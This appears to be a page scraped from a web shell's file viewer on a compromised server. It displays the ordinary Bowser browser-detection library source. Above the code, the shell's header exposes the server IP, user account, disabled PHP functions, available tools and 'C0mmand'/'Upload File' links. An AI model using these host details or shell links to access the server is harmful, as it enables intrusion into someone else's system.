Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/bowser/src/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
/*! * Bowser - a browser detector * https://github.com/lancedikson/bowser * MIT License | (c) Dustin Diaz 2012-2015 * MIT License | (c) Denis Demchenko 2015-2019 */ import Parser from './parser.js'; import { BROWSER_MAP, ENGINE_MAP, OS_MAP, PLATFORMS_MAP, } from './constants.js'; /** * Bowser class. * Keep it simple as much as it can be. * It's supposed to work with collections of {@link Parser} instances * rather then solve one-instance problems. * All the one-instance stuff is located in Parser class. * * @class * @classdesc Bowser is a static object, that provides an API to the Parsers * @hideconstructor */ class Bowser { /** * Creates a {@link Parser} instance * * @param {String} UA UserAgent string * @param {Boolean} [skipParsing=false] Will make the Parser postpone parsing until you ask it * explicitly. Same as `skipParsing` for {@link Parser}. * @returns {Parser} * @throws {Error} when UA is not a String * * @example * const parser = Bowser.getParser(window.navigator.userAgent); * const result = parser.getResult(); */ static getParser(UA, skipParsing = false) { if (typeof UA !== 'string') { throw new Error('UserAgent should be a string'); } return new Parser(UA, skipParsing); } /** * Creates a {@link Parser} instance and runs {@link Parser.getResult} immediately * * @param UA * @return {ParsedResult} * * @example * const result = Bowser.parse(window.navigator.userAgent); */ static parse(UA) { return (new Parser(UA)).getResult(); } static get BROWSER_MAP() { return BROWSER_MAP; } static get ENGINE_MAP() { return ENGINE_MAP; } static get OS_MAP() { return OS_MAP; } static get PLATFORMS_MAP() { return PLATFORMS_MAP; } } export default Bowser;